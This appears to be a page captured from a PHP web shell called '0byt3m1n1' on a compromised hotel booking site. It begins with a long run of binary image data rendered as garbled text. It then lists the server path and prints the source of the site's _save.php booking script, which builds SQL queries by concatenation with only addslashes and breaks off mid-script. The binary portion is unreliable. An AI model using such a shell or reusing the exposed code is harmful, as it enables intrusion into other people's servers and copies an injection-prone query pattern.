����JFIF�����%%��� }!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������� w!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|��O�������h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@��o�E��/�?��ߵE_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ ?�z�����������goڢ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?��=[�Qg�����o����Q@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y�����[����TP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,���|-��v��(���� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�������;~��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@�������?�_�����j������ (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@��o�E��/�?��ߵE_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ ?�z�����������goڢ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?��=[�Qg�����o����Q@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y�����[����TP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,���|-��v��(���� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�������;~��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@�������?�_�����j������ (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@��o�E��/�?��ߵE_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ ?�z�����������goڢ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?��=[�Qg�����o����Q@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y�����[����TP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,��������ο�O�P��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@����(���g���Y������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���V��Y|����Y����UP��@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P����,�����,��u������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j���h�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� �@���o�E��?�?����ο�U_�P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@ _�z�����������g_ڪ�?��(�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (��?�/�=[�Qe�����g����U@��P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������k�w���~���v��������� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (���տ�_�����:��T�~�@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@������/���?��j�?�5o�%��?��� g����U@�����&O3�����a�;�^=�wH���D��/��*� �fX�I���,������k?g_���?�5o�%��?��� g����U@�F�����������*������?�o�}��Τ~g��ʀ�#V��Y������~ο�T�j��K/� ������������z��������#;�~���A�;��� w�F�����������*���տ��_�@�o��5����EU������������u�誠��W��[�����������O��?jW���@��տ���@�o��5����EM������������v�訠�#V��Y�������������V��Zv��~����vw�~���c�Q@���,��~���kgo���?�5o�%��/��� o����Q@��o�%�>�ߤ���߳����S������?��o�%�~�ߠ�d�߳����S����g�P��j��K?� _������������[� g�D����[�;�TP7���������'Ѿ���=��;/�P��j��K?� _������������[� g�D����[�;�TP���,��~���kgo���a������۔���B{���ea�`T�+ �n%Ц �����j��K?� _������������[� g�D����[�;�TP���,��~���kgo����?���%�/�~�����#����x��c�~�q�v�t`ȫ��_'h���������'�]�;{s� Pp=N= 5���%�����ڜs�����=���J��A@�����Kp�b��}��X�����4g v+:�Բ�+60�ʩ,� @�����������I �uO�����ToUv��bgUl�cP�T?�#V��Y������������j��K?� _����������!��X��]���������TK�|4��`� ��#��P\y��aa >NgL��j��K?� _������������[� g�D����[�;�TP���,��~���kgo���o�F�����$��ہ�� ��vݞr6��S�q''*02���[� g�D����[�;�TP���,��~���kgo���?�5o�%��/��� o����Q@�F�����������*(��տ���@�o��5����EE������������v�訠��������~1�o���}G�L�������5o�%��/��� o����Q@�F�����������*(��տ���@�o��5����EE5����%�˷���r�v����y�\~���)(?0���=[� i����>��gc��N=����5o�%��/��� o����Q@�F�����������*(��W��Z�l����m#���X�wn_�j`0C6윅����5o�%��/��� o����Q@��տ��y9���gbO�G�5@�n�>���#V��Y������~ο�T��V��Y����9�gc��s�T.�?Z_��[� e�D����Y�:��UP���,������k?g_����_�=_� n�~~�rI������w�,"~ԓ�!72���)( u��#V��Y������~ο�T�j��K/� ��������������K
�����Kr_���}�De>~��Z=��pjX�n[p(�"� �a,Ub�/�×�<����;��<�����K>��o���[�:����V���,��$��ϧ�*�����5O����տ��_�@�o��5����EU5��o�%����?�ꜜm�_�;>Gbs�S�����@��տ��_�@�o��5����EU ��տ��}�~�����v?�������-��o�l��~�ȥ�v����r��B1���@��տ���A�?����ggP��c�S�`@%�*����տ��_�@�o��5����EU������������u�誠7���� O���!c�|0��ёv��4�+�X�Vx�RX3��8����K>��o���[�:���u#�x��#V��Y������~ο�T�j��K/� ������������[� e�D����Y�:��UP���,������k?g_���O��[� g�D����[�:��T��=_� k����~��k����c�;����.8����c��z��Ͽ�/��zc�o����F?Z_��[� e�D����Y�:��UP���,������k?g_���C���,�v����v�o���H������(�z���w�/�����v ��T.G��Ϡ���տ��_�@�o��5����EU������������u�誠��W��[��'����%��o���:�Cڕ�R̀���j���������?�o���[�;������g0q�?��o�%�>o�_��>�gf����~4�������������u�誠�z���7�/��o���������_��[� e�D����Y�:��UP���,������k?g_���C���,�|�����o��;�Ԟ��9�l�z��ؠ3|��O�X�~���;~�q����Z�F�����������*���տ��_�@�o��5����EU!��տ��}�~����-��G��I�T�������������u�誠�#V��Y������~ο�T�j��K/� ����������#�=_� n|���KbB�gtdM��"�ڒA#n�63�6�m�P�����,���/���gS�u����#�9��5o�%��?��� g����U@��o�%�o�_�����u��'�������?��o��� ���3��?go���|m�ڇ���-S�O��x��>���^�����7����x�]_�>�qke>���m��4��7P�Yހ��
0byt3m1n1
0byt3m1n1
Path:
/
hermes
/
bosweb
/
web
/
sb_web
/
web
/
web
/
web
/
web
/
web
/
web
/
b744
/
hotelelila.com
/
booking
/
Fr
/
fonction
/
[
Home
]
File: _save.php
<style> .bor { border: 2px solid black; } .ec{ font-family: Century Gothic; } .number{ text-align : right; } </style> <?php @ session_start(); include('../fonction.php'); if(isset($_SESSION['username'])) { $data['file'] = $_FILES; $data['text'] = $_POST; $obj = $data['text']; $_POST = (array)($obj); if(isset($_POST['type'])){ $type = $_POST['type'];} else{$type="";} /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++ GESTION DES LOCAUX ++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ if($type=="save_newloc") { $nom_local=addslashes($_POST['nom_local']); $capacite=addslashes($_POST['capacite']); $prix_local=addslashes($_POST['prix_local']); $type_local=addslashes($_POST['type_local']); $statut=addslashes($_POST['statut']); $save_by=addslashes($_SESSION['username']); $test=$bd->query("SELECT * FROM local WHERE nom_local = '".$nom_local."' "); if($test->rowCount()>0){ ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | Nouveau 